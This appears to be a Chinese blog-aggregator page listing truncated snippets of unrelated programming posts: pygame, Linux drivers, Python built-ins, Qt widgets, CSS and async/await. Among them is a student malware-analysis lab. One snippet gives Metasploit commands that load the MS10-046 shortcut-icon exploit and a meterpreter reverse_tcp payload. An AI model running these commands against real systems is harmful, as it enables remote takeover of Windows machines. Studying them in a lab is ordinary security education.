9.pygame-键盘捕获】的更多相关文章

pygame.display.set_mode(x, y)设置显示窗口大小pygame.sprite.Sprite方法中有image, rect, speed等参数 其中image 可以通过 pygame.image.load('图片路径')进行加载,rect为记录位置信息的元组(x, y, width, hight) pygame.Rect(x, y, width, hight) # 可定义一个矩形变量,和rect一样pygame.USEREVENT # 可自定义用户事件,常量名最好全是大写字…
ms10_046_shortcut_icon_dllloader漏洞利用过程 msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms10_046_shortcut_icon_dllloader) >…
写在前面:本博客为本人原创,转载请注明出处!同时,本博客严禁任何下载站随意抓取!!! 本博客唯一合法URL: 总体考虑 要去写设备驱动程序,说白了就三大步骤:下载内核源码构建内核源码树(也就是下载你的目的内核并解压就行了).编译内核(这样才能让操作系统感知自己写的驱动程序).写代码(编写内核程序并编译测试).这三步哪一步都很艰难. 我是在自己笔记本上用虚拟机VMware装的ubuntu操作系统,相比于装双系统有一大缺点和一大优点,优点是将编译好的新内核装入操作系统时不用担心系统崩溃,缺点是装虚拟…
 Python:   1. print()函数:打印字符串   2. raw_input()函数:从用户键盘捕获字符   3. len()函数:计算字符长度   4. format(12.3654,’6.2f’/’0.3%’)函数:实现格式化输出   5. type()函数:查询对象的类型   6. int()函数.float()函数.str()函数等:类型的转化函数   7. id()函数:获取对象的内存地址   8. help()函数:Python的帮助函数   9. s.islower()…
写在前面:本博客为本人原创,严禁任何形式的转载!本博客只允许放在博客园(.cnblogs.com),如果您在其他网站看到这篇博文,请通过下面这个唯一的合法链接转到原文! 本博客全网唯一合法URL:http://www.cnblogs.com/acm-icpcer/p/8029656.html 最近学院里的nfc老师要我们做个设备驱动,之前从没接手过这个东西,加上老师给的材料错误也是一大堆,搞了差不多一个星期才搞出来.特此写一个博客,以免后来人和我一样跳坑. 总体考虑 要去写设备驱动程序,说白了就…
20145304 Exp4 恶意代码分析 实验后回答问题 (1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用什么方法来监控. 监控连网记录,查看有没有可疑的信息,可使用Windows计划任务或schtasks来监控系统 监控驱动加载.线程注入等,可使用Sysmon工具,在事件查看器查看. 捕获数据包,分析其内容,看是否有不正常的连接,可开启wireshark. 注册表,运行程序等,可使用systracer拍摄快照,进行…
一.pointer-events:none是? pointer-events是CSS3中又一冉冉的属性,其支持的值牛毛般多,不过大多都与SVG相关,我们可以不用理会.当下,对于偶们来讲,与SVG划开界线值得一提的就是[none|auto]两个属性值了.其中”auto”的感觉与width属性的”auto”类似,一般在一些特殊场合露一手,平时闺门不出,没什么说头.因此,一轮筛选下来,我们需要留意的只是pointer-events:none而已. pointer-events:none是个很有意思的东…
QWidget类是所有用户界面对象的基类. 详情请见…… #include <qwidget.h> 继承QObject和QPaintDevice. 被QButton.QFrame.QDialog.QComboBox.QDataBrowser.QDataView.QDateTimeEdit.QDesktopWidget.QDial.QDockArea.QGLWidget.QHeader.QMainWindow.QNPWidget.QScrollBar.QSizeGrip.QSlider.QSpi…
最近团队开始越来越多的使用es7标准的async/await,从最开始的promise到后面的generator,再到现在async,对于异步,每个时期都有着其特有的解决方案,今天笔者就以自己的接触为线索,简单的回顾一下其发展. 众所周知,js的事件处理模型决定了它内部很多行为都是异步的,最常见的如setTimeout.setInterval.我们通常的ajax,当然还有我们的事件,代码如: dom.addEventListener('keydown', function(e){ console…
Qt的窗口部件在图形用户界面中按用户的习惯的方式来处理键盘焦点.基本出发点是用户的击键能定向到屏幕上窗口中的任何一个,和在窗口中任何一个部件中.当用户按下一个键,他们期望键盘焦点能够到达正确的位置,并且软件必须尽量满足这种希望.系统必须确定击键定位在哪一个应用程序.应用程序中的哪一个窗口和窗口中的哪一个窗口部件. 1.焦点移动的方式 把焦点定位特殊的窗口部件的习惯方式有: (1)用户按下Tab键(或者Shift键+Tab键)(或者有时是Enter键). (2)用户点击一个窗口部件. (3)用户按…